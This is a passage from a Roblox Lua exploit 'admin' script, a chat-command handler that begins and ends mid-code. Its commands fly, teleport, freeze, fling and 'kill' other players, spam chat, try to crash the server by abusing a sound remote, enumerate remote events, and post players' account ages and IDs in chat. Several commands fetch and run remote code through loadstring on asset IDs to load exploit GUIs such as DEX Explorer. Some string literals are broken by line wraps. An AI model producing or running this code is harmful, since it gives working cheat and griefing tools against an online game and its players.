game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Humanoid
else

game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
end
end
end
if string.sub(msg, 1, 7) == (prefix.."unview") then
if lplayer.Character.Humanoid then

game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
else

game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
end
end
if string.sub(msg, 1, 6) == (prefix.."goto ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(msg, 1, 4) == (prefix.."fly") then
repeat wait() until lplayer and lplayer.Character and
lplayer.Character:FindFirstChild('HumanoidRootPart') and
lplayer.Character:FindFirstChild('Humanoid')
repeat wait() until Mouse

local T = lplayer.Character.HumanoidRootPart
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = speedget

local function fly()


flying = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity', T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()

lplayer.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0 or
CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R
~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or
(CONTROL.F + CONTROL.B) ~= 0 then
BV.velocity =
((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) +
((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R,
(CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p))
* SPEED
lCONTROL = {F = CONTROL.F, B
= CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0
and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
BV.velocity =
((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) +
((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R,
(lCONTROL.F + lCONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity = Vector3.new(0,
0.1, 0)
end
BG.cframe =
workspace.CurrentCamera.CoordinateFrame
until not flying
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
lplayer.Character.Humanoid.PlatformStand
= false
end)
end
Mouse.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = speedfly
elseif KEY:lower() == 's' then
CONTROL.B = -speedfly
elseif KEY:lower() == 'a' then
CONTROL.L = -speedfly
elseif KEY:lower() == 'd' then
CONTROL.R = speedfly
end
end)
Mouse.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
fly()
end
if string.sub(msg, 1, 6) == (prefix.."unfly") then
flying = false
lplayer.Character.Humanoid.PlatformStand = false
end
if string.sub(msg, 1, 6) == (prefix.."chat ") then
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer((string.sub(msg, 7)), "All")
end
if string.sub(msg, 1, 6) == (prefix.."spam ") then
spamtext = (string.sub(msg, 7))
spamming = true
end
if string.sub(msg, 1, 7) == (prefix.."unspam") then
spamming = false
end
if string.sub(msg, 1, 10) == (prefix.."spamwait ") then
spamdelay = (string.sub(msg, 11))
end
if string.sub(msg, 1, 8) == (prefix.."pmspam ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
pmspammed = v.Name
spammingpm = true
end
end
if string.sub(msg, 1, 9) == (prefix.."unpmspam") then
spammingpm = false
end
if string.sub(msg, 1, 9) == (prefix.."cfreeze ") then
for i,v in pairs(GetPlayer(string.sub(msg, 10))) do
v.Character["Left Leg"].Anchored = true
v.Character["Left Arm"].Anchored = true
v.Character["Right Leg"].Anchored = true
v.Character["Right Arm"].Anchored = true
v.Character.Torso.Anchored = true
v.Character.Head.Anchored = true
end
end
if string.sub(msg, 1, 11) == (prefix.."uncfreeze ") then
for i,v in pairs(GetPlayer(string.sub(msg, 12))) do
v.Character["Left Leg"].Anchored = false
v.Character["Left Arm"].Anchored = false
v.Character["Right Leg"].Anchored = false
v.Character["Right Arm"].Anchored = false
v.Character.Torso.Anchored = false
v.Character.Head.Anchored = false
end
end
if string.sub(msg, 1, 9) == (prefix.."unlockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = false
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = false
end
end
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Workspace unlocked. Use ;lockws to
lock.";
})
end
if string.sub(msg, 1, 7) == (prefix.."lockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = true
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = true
end
end
end
end
end
if string.sub(msg, 1, 7) == (prefix.."btools") then
local Clone_T =
Instance.new("HopperBin",lplayer.Backpack)
Clone_T.BinType = "Clone"
local Destruct =
Instance.new("HopperBin",lplayer.Backpack)
Destruct.BinType = "Hammer"
local Hold_T =
Instance.new("HopperBin",lplayer.Backpack)
Hold_T.BinType = "Grab"
end
if string.sub(msg, 1, 7) == (prefix.."pstand") then
lplayer.Character.Humanoid.PlatformStand = true
end
if string.sub(msg, 1, 9) == (prefix.."unpstand") then
lplayer.Character.Humanoid.PlatformStand = false
end
if string.sub(msg, 1, 10) == (prefix.."blockhead") then
lplayer.Character.Head.Mesh:Destroy()
end
if string.sub(msg, 1, 4) == (prefix.."sit") then
lplayer.Character.Humanoid.Sit = true
end
if string.sub(msg, 1, 10) == (prefix.."bringobj ") then
local function bringobjw()
for i,obj in
ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(msg, 11)) then
obj.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
obj.CanCollide = false
obj.Transparency = 0.7
wait()
obj.CFrame =
lplayer.Character["Left Leg"].CFrame
wait()
obj.CFrame =
lplayer.Character["Right Leg"].CFrame
wait()
obj.CFrame =
lplayer.Character["Head"].CFrame
end
end
end
while wait() do
bringobjw()
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringObj";
Text = "BringObj enabled.";
})
end
if string.sub(msg, 1, 7) == (prefix.."wsvis ") then
vis = (string.sub(msg, 8))
local a =
game:GetService("Workspace"):GetDescendants()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Transparency = vis
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Transparency = vis
end
end
end
end
end
if string.sub(msg, 1, 11) == (prefix.."hypertotal") then
loadstring(game:GetObjects("rbxassetid://1255063809")
[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "HyperTotal GUI Loaded!";
})
end
if string.sub(msg, 1, 5) == (prefix.."cmds") then
CMDSFRAME.Visible = true
end
if string.sub(msg, 1, 10) == (prefix.."rmeshhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 10) == (prefix.."blockhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 10) == (prefix.."rmeshtool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 10) == (prefix.."blocktool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 8) == (prefix.."spinner") then
local p = Instance.new("RocketPropulsion")
p.Parent = lplayer.Character.HumanoidRootPart
p.Name = "Spinner"
p.Target = lplayer.Character["Left Arm"]
p:Fire()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Spinner enabled";
Text = "Type ;nospinner to disable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."nospinner") then
lplayer.Character.HumanoidRootPart.Spinner:Destroy()
end
if string.sub(msg, 1, 7) == (prefix.."reachd") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
local a =
Instance.new("SelectionBox",v.Handle)
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,60)
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach
to disable.";
})
end
if string.sub(msg, 1, 7) == (prefix.."reach ") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
handleSize = v.Handle.Size
wait()
local a =
Instance.new("SelectionBox",v.Handle)
a.Name = "a"
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,
(string.sub(msg, 8)))
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach
to disable.";
})
end
if string.sub(msg, 1, 8) == (prefix.."noreach") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
v.Handle.a:Destroy()
v.Handle.Size = handleSize
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach removed!";
Text = "Removed reach from equipped sword.";
})
end
if string.sub(msg, 1, 7) == (prefix.."rkill ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8)))do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType
= "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(Vector3.new(-100000,10,-100000))

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."tp me ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(msg, 1, 8) == (prefix.."cbring ") then
if (string.sub(msg, 9)) == "all" or (string.sub(msg,
9)) == "All" or (string.sub(msg, 9)) == "ALL" then
cbringall = true
else
for i,v in pairs(GetPlayer(string.sub(msg, 9)))
do
brplr = v.Name
end
end
cbring = true
end
if string.sub(msg, 1, 9) == (prefix.."uncbring") then
cbring = false
cbringall = false
end
if string.sub(msg, 1, 6) == (prefix.."swap ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
local NOWPLR = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
local NOW =
lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType
= "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
tp(lplayer, game:GetService("Players")[v.Name])
wait(0.4)
lplayer.Character.HumanoidRootPart.CFrame =
NOWPLR

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if string.sub(msg, 1, 8) == (prefix.."glitch ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType
= "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.4)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "Glitch"
b.Force = Vector3.new(100000000,5000,0)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if string.sub(msg, 1, 9) == (prefix.."unglitch") then
lplayer.Character.HumanoidRootPart.Glitch:Destroy()
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(10000,0,10000)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "unGlitch"
b.Force = Vector3.new(0,-5000000,0)
wait(2)
lplayer.Character.HumanoidRootPart.unGlitch:Destroy()
end
if string.sub(msg, 1, 9) == (prefix.."grespawn") then
lplayer.Character.Humanoid.Health = 0
wait(1)
lplayer.Character.Head.CFrame =
CFrame.new(1000000,0,1000000)
lplayer.Character.Torso.CFrame =
CFrame.new(1000000,0,1000000)
end
if string.sub(msg, 1, 9) == (prefix.."explorer") then
loadstring(game:GetObjects("rbxassetid://492005721")
[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "DEX Explorer has loaded.";
})
end
if string.sub(msg, 1, 6) == (prefix.."anim ") then
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..(string.sub(msg,
7))
local track =
lplayer.Character.Humanoid:LoadAnimation(Anim)
track:Play(.1, 1, 1)
end
if string.sub(msg, 1, 8) == (prefix.."animgui") then
loadstring(game:GetObjects("rbxassetid://1202558084")
[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Energize Animations GUI has loaded.";
})
end
if string.sub(msg, 1, 8) == (prefix.."savepos") then
saved = lplayer.Character.HumanoidRootPart.CFrame

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Position Saved";
Text = "Use ;loadpos to return to saved
position.";
})
end
if string.sub(msg, 1, 8) == (prefix.."loadpos") then
lplayer.Character.HumanoidRootPart.CFrame = saved
end
if string.sub(msg, 1, 6) == (prefix.."bang ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
local Anim2 = Instance.new("Animation")
Anim2.AnimationId = "rbxassetid://148840371"
local track2 =
lplayer.Character.Humanoid:LoadAnimation(Anim2)
track2:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(msg, 1, 7) == (prefix.."unbang") then
banpl = false
end
if string.sub(msg, 1, 10) == (prefix.."bringmod ") then
local function bringmodw()
for i,obj in
ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(msg, 11)) then
for i,ch in
pairs(obj:GetDescendants()) do
if (ch:IsA("BasePart")) then
ch.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
ch.CanCollide = false
ch.Transparency = 0.7
wait()
ch.CFrame =
lplayer.Character["Left Leg"].CFrame
wait()
ch.CFrame =
lplayer.Character["Right Leg"].CFrame
wait()
ch.CFrame =
lplayer.Character["Head"].CFrame
end
end
end
end
end
while wait() do
bringmodw()
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringMod";
Text = "BringMod enabled.";
})
end
if string.sub(msg, 1, 8) == (prefix.."respawn") then
local mod = Instance.new('Model', workspace) mod.Name
= 're '..lplayer.Name
local hum = Instance.new('Humanoid', mod)
local ins = Instance.new('Part', mod) ins.Name =
'Torso' ins.CanCollide = false ins.Transparency = 1
lplayer.Character = mod
end
if string.sub(msg, 1, 9) == (prefix.."shutdown") then

game:GetService'RunService'.Stepped:Connect(function()
pcall(function()
for i,v in
pairs(game:GetService'Players':GetPlayers()) do
if v.Character ~= nil and
v.Character:FindFirstChild'Head' then
for _,x in
pairs(v.Character.Head:GetChildren()) do
if x:IsA'Sound' then
x.Playing = true x.CharacterSoundEvent:FireServer(true, true) end
end
end
end
end)
end)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Attempting Shutdown";
Text = "Shutdown Attempt has begun.";
})
end
if string.sub(msg, 1, 8) == (prefix.."delobj ") then
objtodel = (string.sub(msg, 9))
for i,v in
pairs(game:GetService("Workspace"):GetDescendants()) do
if v.Name == objtodel then
v:Destroy()
end
end
end
if string.sub(msg, 1, 8) == (prefix.."getplrs") then
for i,v in
pairs(game:GetService("Players"):GetPlayers())do
print(v)
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printed";
Text = "Players have been printed to console.
(F9)";
})
end
if string.sub(msg, 1, 9) == (prefix.."deldecal") then
for i,v in
pairs(game:GetService("Workspace"):GetDescendants())do
if (v:IsA("Decal")) then
v:Destroy()
end
end
end
if string.sub(msg, 1, 11) == (prefix.."opfinality") then
loadstring(game:GetObjects("rbxassetid://1294358929")
[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "OpFinality GUI has loaded.";
})
end
if string.sub(msg, 1, 8) == (prefix.."remotes") then
remotes = true
added = true
game.DescendantAdded:connect(function(rmt)
if added == true then
if remotes == true then
if rmt:IsA("RemoteEvent") then
print("A RemoteEvent was
added!")
print(" game." ..
rmt:GetFullName() .. " | RemoteEvent")
print(" game." ..
rmt:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end end
end)
game.DescendantAdded:connect(function(rmtfnctn)
if added == true then
if remotes == true then
if rmtfnctn:IsA("RemoteFunction")
then
warn("A RemoteFunction was
added!")
warn(" game." ..
rmtfnctn:GetFullName() .. " | RemoteFunction")
print(" game." ..
rmtfnctn:GetFullName() .. " | RemoteFunction", 5, 102, 198, true)
end end end
end)

game.DescendantAdded:connect(function(bndfnctn)
if added == true then
if binds == true then
if bndfnctn:IsA("BindableFunction")
then
print("A BindableFunction was
added!")
print(" game." ..
bndfnctn:GetFullName() .. " | BindableFunction")
print(" game." ..
bndfnctn:GetFullName() .. " | BindableFunction", 239, 247, 4, true)
end end end
end)

game.DescendantAdded:connect(function(bnd)
if added == true then
if binds == true then
if bnd:IsA("BindableEvent") then
warn("A BindableEvent was
added!")
warn(" game." ..
bnd:GetFullName() .. " | BindableEvent")
print(" game." ..
bnd:GetFullName() .. " | BindableEvent", 13, 193, 22, true)
end end end
end)

if binds == true then


for i,v in pairs(game:GetDescendants()) do
if v:IsA("BindableFunction") then
print(" game." ..
v:GetFullName() .. " | BindableFunction")
print(" game." ..
v:GetFullName() .. " | BindableFunction", 239, 247, 4, true)
end end
for i,v in pairs(game:GetDescendants()) do
if v:IsA("BindableEvent") then
warn(" game." .. v:GetFullName() ..
" | BindableEvent")
print(" game." ..
v:GetFullName() .. " | BindableEvent", 13, 193, 22, true)
end end
else
print("Off")
end
if remotes == true then
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteFunction") then
warn(" game." .. v:GetFullName() ..
" | RemoteFunction")
print(" game." ..
v:GetFullName() .. " | RemoteFunction", 5, 102, 198, true)
end end
wait()
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") then
print(" game." ..
v:GetFullName() .. " | RemoteEvent")
print(" game." ..
v:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end
else
print("Off")
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes";
Text = "Type ;noremotes to disable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."noremotes") then
remotes = false
added = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes Disabled";
Text = "Type ;remotes to enable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."tpdefault") then
spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
cbringing = false
end
if string.sub(msg, 1, 8) == (prefix.."stopsit") then
stopsitting = true
end
if string.sub(msg, 1, 6) == (prefix.."gosit") then
stopsitting = false
end
if string.sub(msg, 1, 8) == (prefix.."version") then
print(adminversion)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Version";
Text = adminversion;
})
end
if string.sub(msg, 1, 8) == (prefix.."clicktp") then
clickgoto = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Press E to teleport to mouse
position, ;noclicktp to stop";
})
end
if string.sub(msg, 1, 9) == (prefix.."clickdel") then
clickdel = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click Delete";
Text = "Press E to delete part at mouse,
;noclickdel to stop";
})
end
if string.sub(msg, 1, 11) == (prefix.."noclickdel") then
clickdel = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click Delete";
Text = "Click delete has been disabled.";
})
end
if string.sub(msg, 1, 10) == (prefix.."noclicktp") then
clickgoto = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Click TP has been disabled.";
})
end
if string.sub(msg, 1, 8) == (prefix.."toolson") then
gettingtools = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Enabled";
Text = "Automatically colleting tools
dropped.";
})
end
if string.sub(msg, 1, 9) == (prefix.."toolsoff") then
gettingtools = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Disabled";
Text = "Click TP has been disabled.";
})
end
if string.sub(msg, 1, 10) == (prefix.."delcmdbar") then
ScreenGui:Destroy()
end
if string.sub(msg, 1, 6) == (prefix.."reset") then
lplayer.Character.Head:Destroy()
end
if string.sub(msg, 1, 7) == (prefix.."state ") then
statechosen = string.sub(msg, 8)
changingstate = true
end
if string.sub(msg, 1, 9) == (prefix.."gravity ") then
game:GetService("Workspace").Gravity =
string.sub(msg, 10)
end
if string.sub(msg, 1, 10) == (prefix.."looprhats") then
removingmeshhats = true
end
if string.sub(msg, 1, 12) == (prefix.."unlooprhats") then
removingmeshhats = false
end
if string.sub(msg, 1, 10) == (prefix.."looprtool") then
removingmeshtool = true
end
if string.sub(msg, 1, 12) == (prefix.."unlooprtool") then
removingmeshtool = false
end
if string.sub(msg, 1, 10) == (prefix.."givetool ") then
for i,v in
pairs(game:GetService("Players").LocalPlayer.Character:GetDescendants()) do
if v:IsA("Tool") then
for i,player in
pairs(GetPlayer(string.sub(msg, 11))) do
v.Parent = player.Character
end
end
end
end
if string.sub(msg, 1, 14) == (prefix.."givealltools ") then
for i,v in
pairs(game:GetService("Players").LocalPlayer.Backpack:GetDescendants()) do
if v:IsA("Tool") then
v.Parent = lplayer.Character
wait()
for i,player in
pairs(GetPlayer(string.sub(msg, 15))) do
v.Parent = player.Character
end
end
end
end
if string.sub(msg, 1, 5) == (prefix.."age ") then
for i,player in pairs(GetPlayer(string.sub(msg, 6)))
do

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account Age: "..player.AccountAge.." days!", "All")
end
end
if string.sub(msg, 1, 4) == (prefix.."id ") then
for i,player in pairs(GetPlayer(string.sub(msg, 5)))
do

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account ID: "..player.UserId, "All")
end
end
if string.sub(msg, 1, 6) == (prefix..".age ") then
for i,player in pairs(GetPlayer(string.sub(msg, 7)))
do

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.AccountAge.." Days";
Text = "Account age of "..player.Name;
})
end
end
if string.sub(msg, 1, 5) == (prefix..".id ") then
for i,player in pairs(GetPlayer(string.sub(msg, 6)))
do

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.UserId.." ID";
Text = "Account ID of "..player.Name;
})
end
end
if string.sub(msg, 1, 7) == (prefix.."gameid") then

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Game ID";
Text = "Game ID: ".. game.GameId;
})
end
if string.sub(msg, 1, 4) == (prefix.."pgs") then
local pgscheck =
game:GetService("Workspace"):PGSIsEnabled()
if pgscheck == true then

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Enabled!";
})
else

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Disabled!";
})
end
end
if string.sub(msg, 1, 12) == (prefix.."removeinvis") then
for i,v in
pairs(game:GetService("Workspace"):GetDescendants()) do
if v:IsA("Part") then
if v.Transparency == 1 then
if v.Name ~= "HumanoidRootPart"
then
v:Destroy()
end
end
end
end
end
if string.sub(msg, 1, 10) == (prefix.."removefog") then
game:GetService("Lighting").FogStart = 0
game:GetService("Lighting").FogEnd = 9999999999999
end
if string.sub(msg, 1, 8) == (prefix.."disable") then
lplayer.Character.Humanoid.Parent = lplayer
end
if string.sub(msg, 1, 7) == (prefix.."enable") then
lplayer.Humanoid.Parent = lplayer.Character
end
if string.sub(msg, 1, 8) == (prefix.."prefix ") then
prefix = (string.sub(msg, 9, 9))
wait(0.1)
change()
wait(0.1)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Prefix changed!";
Text = "Prefix is now "..prefix..". Use
;resetprefix to reset to ;";
})
end
if string.sub(msg, 1, 12) == (";resetprefix") then
prefix = ";"
wait(0.1)
change()
wait(0.1)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Prefix changed!";
Text = "Prefix is now "..prefix..". Make sure
it's one key!";
})
end
if string.sub(msg, 1, 10) == (prefix.."flyspeed ") then
speedfly = string.sub(msg, 11)
wait()
change()
end
if string.sub(msg, 1, 8) == (prefix.."carpet ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
local Anim3 = Instance.new("Animation")
Anim3.AnimationId = "rbxassetid://282574440"
local track3 =
lplayer.Character.Humanoid:LoadAnimation(Anim3)
track3:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(msg, 1, 9) == (prefix.."uncarpet") then
banpl = false
end
if string.sub(msg, 1, 7) == (prefix.."stare ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
staring = true
stareplr = v
end
end
if string.sub(msg, 1, 8) == (prefix.."unstare") then
staring = false
end
if string.sub(msg, 1, 8) == (prefix.."logchat") then
chatlogs = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat enabled";
Text = "Now logging all player chat.";
})
end
if string.sub(msg, 1, 10) == (prefix.."unlogchat") then
chatlogs = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat disabled";
Text = "Stopped logging all player chat.";
})
end
if string.sub(msg, 1, 7) == (prefix.."fixcam") then
game:GetService("Workspace").CurrentCamera:Destroy()
wait(0.1)

game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
game:GetService("Workspace").CurrentCamera.CameraType
= "Custom"
lplayer.CameraMinZoomDistance = 0.5
lplayer.CameraMaxZoomDistance = 400
lplayer.CameraMode = "Classic"
end
if string.sub(msg, 1, 8) == (prefix.."unstate") then
changingstate = false
end
end)

local function tp()


for i, player in
ipairs(game:GetService("Players"):GetPlayers()) do
if player.Character and
player.Character:FindFirstChild("HumanoidRootPart") then
if player.Name == brplr then
player.Character.HumanoidRootPart.CFrame
= lplayer.Character.HumanoidRootPart.CFrame +
